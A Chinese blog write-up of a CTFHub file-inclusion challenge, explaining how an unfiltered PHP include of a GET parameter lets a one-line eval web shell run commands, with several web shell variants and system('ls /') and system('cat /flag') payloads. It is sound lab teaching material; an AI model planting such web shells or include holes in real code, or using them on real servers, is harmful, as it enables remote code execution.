RCE2-文件包含(一句话木马如何传参+如何用蚁剑连接一句话木马的文件位置)

一.题目链接:

https://www.ctfhub.com/#/skilltree

二.代码分析

<?php
error_reporting(0);
if (isset($_GET['file'])) {         #判断是否通过get接收file参数,如果是通过file接收参数就执行第四行
    if (!strpos($_GET["file"], "flag")) {        #判断get中的file参数是否带有flag字段,如没有,则执行include包含文件。否则返回`hacker!`
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

三.基础知识

3.1 一句话木马中,REQUEST和POST的区别

  • 区别
      1.REQUEST可以通过url传参,也可通过工具传参,但POST只能通过工具
      2.eg:ctfhub=system("ls");,这里的ctfhub就是木马里的密码,systemctl()是可执行函数

四.开始解题

1.点击shell是一个一句话代码,于是想到用蚁剑连接

2.但这种访问文件的方法并不正确,联系到题目,是file=该文件试试看
这里解释一下为什么要用?fiel=shell.txt才能成功连接蚁剑,因为点击shell.txt文件我们直接就进文件里去了,而蚁剑的url要填的是地址,于是这里的地址就是这个

?file=shell.txt


3.成功,拿到flag

法二:

1.通过hackbar传参,我们已经找到了flag相关文件
这里为什么前面是ctfhub呢?这里顺便回顾一下之前的一句话木马都有哪些吧

<?php eval($_POST['cmd']);?>
<?=eval($_POST[1]);?>
<script language="php">eval($_POST[1]);</script>

//在这些一句话木马中,[]里的就是密码,就是ctfhub接受php代码并执行(eval是动态执行函数)
//而这里的一句话代码是:
<?php eval($_REQUEST['ctfhub']);?>
//通过ctfhub接受php代码并执行
ctfhub=system("ls") 
#这个命令是为了列出所有根目录的文件
ctfhub=system("ls /");


2.通过system()函数读取该flag文件

//读取根目录下的flag文件内容
ctfhub=system("cat /flag");

posted @ 2025-04-18 19:21  sun010  阅读(799)  评论(0)    收藏  举报